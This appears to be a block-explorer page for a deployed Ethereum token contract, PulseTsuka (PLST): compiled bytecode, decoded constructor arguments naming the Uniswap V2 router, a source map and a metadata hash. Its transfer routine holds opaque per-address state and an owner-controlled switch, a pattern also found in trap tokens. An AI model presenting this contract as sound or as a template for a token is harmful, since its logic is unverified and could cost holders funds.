020908152604080832093909416825291909152205490565b34801561030957600080fd5b50610262610318366004610ef9565b6104cd565b34801561032957600080fd5b50610262610338366004610e9c565b61050a565b34801561034957600080fd5b506101ff7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60606001805461038090610f1b565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90610f1b565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846105a5565b90505b92915050565b6000610426848484610685565b6001600160a01b0384166000908152600b602090815260408083203380855292529091205461046191869161045c908690610f6b565b6105a5565b949350505050565b6000546001600160a01b0316331461049c5760405162461bcd60e51b815260040161049390610f7e565b60405180910390fd5b6104a66000610a9e565b565b60606002805461038090610f1b565b60006104c4338484610685565b50600192915050565b6000546001600160a01b031633146104f75760405162461bcd60e51b815260040161049390610f7e565b600c805460ff1916911515919091179055565b6000546001600160a01b031633146105345760405162461bcd60e51b815260040161049390610f7e565b6001600160a01b0381166105995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610493565b6105a281610a9e565b50565b60006001600160a01b038416158015906105c757506001600160a01b03831615155b61061f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610493565b6001600160a01b038481166000818152600b602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b30600090815260076020526040812054600c5462010000900460ff161580156106c457506001600160a01b0385166000908152600a6020526040902054155b801561070257507f000000000000000000000000670b0afeb569ddffa93b344275a653a490157d726001600160a01b0316856001600160a01b031614155b801561072557506001600160a01b03851660009081526009602052604090205415155b15610790576006546001600160a01b0386166000908152600a60205260409020546107509190610f6b565b6001600160a01b038616600090815260096020526040902055600c805462ff000019166201000017905561078381610aee565b600c805462ff0000191690555b60068054600081815260086020908152604080832080546001600160a01b039081168552600984528285209590955580546001600160a01b0319168a861617905593549289168252600a9052919091205411801561080757506006546001600160a01b0385166000908152600a6020526040902054115b1561084557306000908152600760205260408120805485945084929061082e908490610fb3565b9091555061083e90508385610b27565b5050505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b03161415801561089e57506001600160a01b0385166000908152600a602052604090205415155b80156108dc57507f000000000000000000000000670b0afeb569ddffa93b344275a653a490157d726001600160a01b0316846001600160a01b031614155b80156108e9575060065483115b1561090d5750506001600160a01b039091166000908152600a602052604090205550565b600060055411801561093557506001600160a01b0385166000908152600a6020526040902054155b801561094a5750600c5462010000900460ff16155b801561096c57506001600160a01b0384166000908152600a6020526040902054155b156109ee576064600554846109819190610fc6565b61098b9190610fe5565b91506109978284610f6b565b6001600160a01b0386166000908152600760205260408120805492955084929091906109c4908490610f6b565b909155505030600090815260076020526040812080548492906109e8908490610fb3565b90915550505b6001600160a01b03851660009081526007602052604081208054859290610a16908490610f6b565b90915550506001600160a01b03841660009081526007602052604081208054859290610a43908490610fb3565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a8f91815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610afb600283610fe5565b905047610b088230610b27565b6000610b148247610f6b565b9050610b21838230610ce9565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610b5c57610b5c611007565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfe919061101d565b81600181518110610c1157610c11611007565b60200260200101906001600160a01b031690816001600160a01b031681525050610c5c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105a5565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790610cb290869060009086908890429060040161103a565b600060405180830381600087803b158015610ccc57600080fd5b505af1158015610ce0573d6000803e3d6000fd5b50505050505050565b610d14307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105a5565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063f305d71990849060c40160606040518083038185885af1158015610d9f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc491906110ab565b505050505050565b600060208083528351808285015260005b81811015610df957858101830151858201604001528201610ddd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105a257600080fd5b60008060408385031215610e4257600080fd5b8235610e4d81610e1a565b946020939093013593505050565b600080600060608486031215610e7057600080fd5b8335610e7b81610e1a565b92506020840135610e8b81610e1a565b929592945050506040919091013590565b600060208284031215610eae57600080fd5b8135610eb981610e1a565b9392505050565b60008060408385031215610ed357600080fd5b8235610ede81610e1a565b91506020830135610eee81610e1a565b809150509250929050565b600060208284031215610f0b57600080fd5b81358015158114610eb957600080fd5b600181811c90821680610f2f57607f821691505b602082108103610f4f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561041357610413610f55565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561041357610413610f55565b6000816000190483118215151615610fe057610fe0610f55565b500290565b60008261100257634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561102f57600080fd5b8151610eb981610e1a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561108a5784516001600160a01b031683529383019391830191600101611065565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156110c057600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220810a0f7d98532915ea624d55f4d4c76ae88b61e40b0840b68c47c0cf9c014f7564736f6c63430008100033

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000a50756c73655473756b61000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004504c535400000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): PulseTsuka
Arg [1] : Symbol (string): PLST
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [4] : 50756c73655473756b6100000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 504c535400000000000000000000000000000000000000000000000000000000

11626:5397:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13132:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13707:137;;;;;;;;;;-1:-1:-1;13707:137:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13707:137:0;1023:187:1;13223:86:0;;;;;;;;;;-1:-1:-1;13294:7:0;;13223:86;;;1361:25:1;;;1349:2;1334:18;13223:86:0;1215:177:1;14212:274:0;;;;;;;;;;-1:-1:-1;14212:274:0;;;;;:::i;:::-;;:::i;13317:85::-;;;;;;;;;;-1:-1:-1;13385:9:0;;;;13317:85;;11843:26;;;;;;;;;;;;;;;;12362:38;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;12362:38:0;1858:203:1;13552:110:0;;;;;;;;;;-1:-1:-1;13552:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;13636:18:0;13609:7;13636:18;;;:9;:18;;;;;;;13552:110;10997:94;;;;;;;;;;;;;:::i;:::-;;10346:87;;;;;;;;;;-1:-1:-1;10392:7:0;10419:6;-1:-1:-1;;;;;10419:6:0;10346:87;;13037;;;;;;;;;;;;;:::i;14494:158::-;;;;;;;;;;-1:-1:-1;14494:158:0;;;;;:::i;:::-;;:::i;13410:134::-;;;;;;;;;;-1:-1:-1;13410:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;13509:18:0;;;13482:7;13509:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13410:134;12927:104;;;;;;;;;;-1:-1:-1;12927:104:0;;;;;:::i;:::-;;:::i;11246:192::-;;;;;;;;;;-1:-1:-1;11246:192:0;;;;;:::i;:::-;;:::i;12313:42::-;;;;;;;;;;;;;;;13132:83;13169:13;13202:5;13195:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13132:83;:::o;13707:137::-;13775:4;13799:37;13808:10;13820:7;13829:6;13799:8;:37::i;:::-;13792:44;;13707:137;;;;;:::o;14212:274::-;14337:4;14354:36;14364:6;14372:9;14383:6;14354:9;:36::i;:::-;-1:-1:-1;;;;;14437:19:0;;;;;;:11;:19;;;;;;;;14425:10;14437:31;;;;;;;;;14408:70;;14417:6;;14437:40;;14471:6;;14437:40;:::i;:::-;14408:8;:70::i;:::-;14401:77;14212:274;-1:-1:-1;;;;14212:274:0:o;10997:94::-;10392:7;10419:6;-1:-1:-1;;;;;10419:6:0;9245:10;10566:23;10558:68;;;;-1:-1:-1;;;10558:68:0;;;;;;;:::i;:::-;;;;;;;;;11062:21:::1;11080:1;11062:9;:21::i;:::-;10997:94::o:0;13037:87::-;13076:13;13109:7;13102:14;;;;;:::i;14494:158::-;14565:4;14582:40;14592:10;14604:9;14615:6;14582:9;:40::i;:::-;-1:-1:-1;14640:4:0;14494:158;;;;:::o;12927:104::-;10392:7;10419:6;-1:-1:-1;;;;;10419:6:0;9245:10;10566:23;10558:68;;;;-1:-1:-1;;;10558:68:0;;;;;;;:::i;:::-;12997:11:::1;:26:::0;;-1:-1:-1;;12997:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12927:104::o;11246:192::-;10392:7;10419:6;-1:-1:-1;;;;;10419:6:0;9245:10;10566:23;10558:68;;;;-1:-1:-1;;;10558:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11335:22:0;::::1;11327:73;;;::::0;-1:-1:-1;;;11327:73:0;;4436:2:1;11327:73:0::1;::::0;::::1;4418:21:1::0;4475:2;4455:18;;;4448:30;4514:34;4494:18;;;4487:62;-1:-1:-1;;;4565:18:1;;;4558:36;4611:19;;11327:73:0::1;4234:402:1::0;11327:73:0::1;11411:19;11421:8;11411:9;:19::i;:::-;11246:192:::0;:::o;13852:352::-;13969:4;-1:-1:-1;;;;;13994:19:0;;;;;;:44;;-1:-1:-1;;;;;;14017:21:0;;;;13994:44;13986:93;;;;-1:-1:-1;;;13986:93:0;;4843:2:1;13986:93:0;;;4825:21:1;4882:2;4862:18;;;4855:30;4921:34;4901:18;;;4894:62;-1:-1:-1;;;4972:18:1;;;4965:34;5016:19;;13986:93:0;4641:400:1;13986:93:0;-1:-1:-1;;;;;14090:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14142:32;;1361:25:1;;;14142:32:0;;1334:18:1;14142:32:0;;;;;;;-1:-1:-1;14192:4:0;13852:352;;;;;:::o;14660:1350::-;14845:4;14774:11;13636:18;;;:9;:18;;;;;;14869:16;;;;;;;14868:17;:40;;;;-1:-1:-1;;;;;;14889:14:0;;;;;;:8;:14;;;;;;:19;14868:40;:65;;;;;14920:13;-1:-1:-1;;;;;14912:21:0;:4;-1:-1:-1;;;;;14912:21:0;;;14868:65;:87;;;;-1:-1:-1;;;;;;14937:14:0;;14954:1;14937:14;;;:8;:14;;;;;;:18;;14868:87;14864:288;;;15006:6;;-1:-1:-1;;;;;14989:14:0;;;;;;:8;:14;;;;;;:23;;15006:6;14989:23;:::i;:::-;-1:-1:-1;;;;;14972:14:0;;;;;;:8;:14;;;;;:40;15027:16;:23;;-1:-1:-1;;15027:23:0;;;;;15065:36;15080:20;15065:14;:36::i;:::-;15116:16;:24;;-1:-1:-1;;15116:24:0;;;14864:288;15197:6;;;15164:30;15173:20;;;:12;:20;;;;;;;;;;-1:-1:-1;;;;;15173:20:0;;;15164:30;;:8;:30;;;;;:39;;;;15214:25;;-1:-1:-1;;;;;;15214:25:0;;;;;;;15273:6;;15256:14;;;;;:8;:14;;;;;;;:23;:48;;;;-1:-1:-1;15298:6:0;;-1:-1:-1;;;;;15283:12:0;;;;;;:8;:12;;;;;;:21;15256:48;15252:203;;;15366:4;15348:24;;;;:9;:24;;;;;:31;;15327:6;;-1:-1:-1;15327:6:0;;15348:24;:31;;15327:6;;15348:31;:::i;:::-;;;;-1:-1:-1;15394:28:0;;-1:-1:-1;15411:6:0;15419:2;15394:16;:28::i;:::-;15437:7;;14660:1350;;;:::o;15252:203::-;15485:6;-1:-1:-1;;;;;15471:21:0;:2;-1:-1:-1;;;;;15471:21:0;;;:43;;;;-1:-1:-1;;;;;;15496:14:0;;15513:1;15496:14;;;:8;:14;;;;;;:18;;15471:43;:66;;;;;15524:13;-1:-1:-1;;;;;15518:19:0;:2;-1:-1:-1;;;;;15518:19:0;;;15471:66;:85;;;;;15550:6;;15541;:15;15471:85;15467:160;;;-1:-1:-1;;;;;;;15573:12:0;;;;;;;:8;:12;;;;;:21;-1:-1:-1;14660:1350:0:o;15467:160::-;15653:1;15643:7;;:11;:34;;;;-1:-1:-1;;;;;;15658:14:0;;;;;;:8;:14;;;;;;:19;15643:34;:55;;;;-1:-1:-1;15682:16:0;;;;;;;15681:17;15643:55;:76;;;;-1:-1:-1;;;;;;15702:12:0;;;;;;:8;:12;;;;;;:17;15643:76;15639:250;;;15763:3;15752:7;;15743:6;:16;;;;:::i;:::-;15742:24;;;;:::i;:::-;15736:30;-1:-1:-1;15781:13:0;15736:30;15781:13;;:::i;:::-;-1:-1:-1;;;;;15809:15:0;;;;;;:9;:15;;;;;:22;;15781:13;;-1:-1:-1;15828:3:0;;15809:15;;;:22;;15828:3;;15809:22;:::i;:::-;;;;-1:-1:-1;;15864:4:0;15846:24;;;;:9;:24;;;;;:31;;15874:3;;15846:24;:31;;15874:3;;15846:31;:::i;:::-;;;;-1:-1:-1;;15639:250:0;-1:-1:-1;;;;;15901:15:0;;;;;;:9;:15;;;;;:25;;15920:6;;15901:15;:25;;15920:6;;15901:25;:::i;:::-;;;;-1:-1:-1;;;;;;;15937:13:0;;;;;;:9;:13;;;;;:23;;15954:6;;15937:13;:23;;15954:6;;15937:23;:::i;:::-;;;;;;;;15991:2;-1:-1:-1;;;;;15976:26:0;15985:4;-1:-1:-1;;;;;15976:26:0;;15995:6;15976:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;15976:26:0;;;;;;;;14763:1247;;14660:1350;;;:::o;11446:173::-;11502:16;11521:6;;-1:-1:-1;;;;;11538:17:0;;;-1:-1:-1;;;;;;11538:17:0;;;;;;11571:40;;11521:6;;;;;;;11571:40;;11502:16;11571:40;11491:128;11446:173;:::o;16320:323::-;16379:12;16394:10;16403:1;16394:6;:10;:::i;:::-;16379:25;-1:-1:-1;16440:21:0;16472:37;16379:25;16503:4;16472:16;:37::i;:::-;16520:18;16541:38;16565:14;16541:21;:38;:::i;:::-;16520:59;;16590:45;16603:4;16609:10;16629:4;16590:12;:45::i;:::-;16368:275;;;16320:323;:::o;16651:369::-;16753:16;;;16767:1;16753:16;;;;;;;;16729:21;;16753:16;;;;;;;;;;-1:-1:-1;16753:16:0;16729:40;;16798:4;16780;16785:1;16780:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;16780:23:0;;;-1:-1:-1;;;;;16780:23:0;;;;;16824:6;-1:-1:-1;;;;;16824:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16814:4;16819:1;16814:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;16814:23:0;;;-1:-1:-1;;;;;16814:23:0;;;;;16848:53;16865:4;16880:6;16889:11;16848:8;:53::i;:::-;-1:-1:-1;16912:100:0;;-1:-1:-1;;;16912:100:0;;-1:-1:-1;;;;;16912:6:0;:57;;;;:100;;16970:11;;16983:1;;16986:4;;16992:2;;16996:15;;16912:100;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16718:302;16651:369;;:::o;16018:294::-;16145:53;16162:4;16177:6;16186:11;16145:8;:53::i;:::-;-1:-1:-1;16209:95:0;;-1:-1:-1;;;16209:95:0;;16258:4;16209:95;;;7417:34:1;7467:18;;;7460:34;;;16278:1:0;7510:18:1;;;7503:34;;;7553:18;;;7546:34;-1:-1:-1;;;;;7617:15:1;;;7596:19;;;7589:44;16288:15:0;7649:19:1;;;7642:35;16209:6:0;:22;;;;16239:9;;7351:19:1;;16209:95:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;16018:294;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2066:247::-;2125:6;2178:2;2166:9;2157:7;2153:23;2149:32;2146:52;;;2194:1;2191;2184:12;2146:52;2233:9;2220:23;2252:31;2277:5;2252:31;:::i;:::-;2302:5;2066:247;-1:-1:-1;;;2066:247:1:o;2318:388::-;2386:6;2394;2447:2;2435:9;2426:7;2422:23;2418:32;2415:52;;;2463:1;2460;2453:12;2415:52;2502:9;2489:23;2521:31;2546:5;2521:31;:::i;:::-;2571:5;-1:-1:-1;2628:2:1;2613:18;;2600:32;2641:33;2600:32;2641:33;:::i;:::-;2693:7;2683:17;;;2318:388;;;;;:::o;2711:273::-;2767:6;2820:2;2808:9;2799:7;2795:23;2791:32;2788:52;;;2836:1;2833;2826:12;2788:52;2875:9;2862:23;2928:5;2921:13;2914:21;2907:5;2904:32;2894:60;;2950:1;2947;2940:12;3223:380;3302:1;3298:12;;;;3345;;;3366:61;;3420:4;3412:6;3408:17;3398:27;;3366:61;3473:2;3465:6;3462:14;3442:18;3439:38;3436:161;;3519:10;3514:3;3510:20;3507:1;3500:31;3554:4;3551:1;3544:15;3582:4;3579:1;3572:15;3436:161;;3223:380;;;:::o;3608:127::-;3669:10;3664:3;3660:20;3657:1;3650:31;3700:4;3697:1;3690:15;3724:4;3721:1;3714:15;3740:128;3807:9;;;3828:11;;;3825:37;;;3842:18;;:::i;3873:356::-;4075:2;4057:21;;;4094:18;;;4087:30;4153:34;4148:2;4133:18;;4126:62;4220:2;4205:18;;3873:356::o;5046:125::-;5111:9;;;5132:10;;;5129:36;;;5145:18;;:::i;5176:168::-;5216:7;5282:1;5278;5274:6;5270:14;5267:1;5264:21;5259:1;5252:9;5245:17;5241:45;5238:71;;;5289:18;;:::i;:::-;-1:-1:-1;5329:9:1;;5176:168::o;5349:217::-;5389:1;5415;5405:132;;5459:10;5454:3;5450:20;5447:1;5440:31;5494:4;5491:1;5484:15;5522:4;5519:1;5512:15;5405:132;-1:-1:-1;5551:9:1;;5349:217::o;5703:127::-;5764:10;5759:3;5755:20;5752:1;5745:31;5795:4;5792:1;5785:15;5819:4;5816:1;5809:15;5835:251;5905:6;5958:2;5946:9;5937:7;5933:23;5929:32;5926:52;;;5974:1;5971;5964:12;5926:52;6006:9;6000:16;6025:31;6050:5;6025:31;:::i;6091:980::-;6353:4;6401:3;6390:9;6386:19;6432:6;6421:9;6414:25;6458:2;6496:6;6491:2;6480:9;6476:18;6469:34;6539:3;6534:2;6523:9;6519:18;6512:31;6563:6;6598;6592:13;6629:6;6621;6614:22;6667:3;6656:9;6652:19;6645:26;;6706:2;6698:6;6694:15;6680:29;;6727:1;6737:195;6751:6;6748:1;6745:13;6737:195;;;6816:13;;-1:-1:-1;;;;;6812:39:1;6800:52;;6907:15;;;;6872:12;;;;6848:1;6766:9;6737:195;;;-1:-1:-1;;;;;;;6988:32:1;;;;6983:2;6968:18;;6961:60;-1:-1:-1;;;7052:3:1;7037:19;7030:35;6949:3;6091:980;-1:-1:-1;;;6091:980:1:o;7688:306::-;7776:6;7784;7792;7845:2;7833:9;7824:7;7820:23;7816:32;7813:52;;;7861:1;7858;7851:12;7813:52;7890:9;7884:16;7874:26;;7940:2;7929:9;7925:18;7919:25;7909:35;;7984:2;7973:9;7969:18;7963:25;7953:35;;7688:306;;;;;:::o

ipfs://810a0f7d98532915ea624d55f4d4c76ae88b61e40b0840b68c47c0cf9c014f75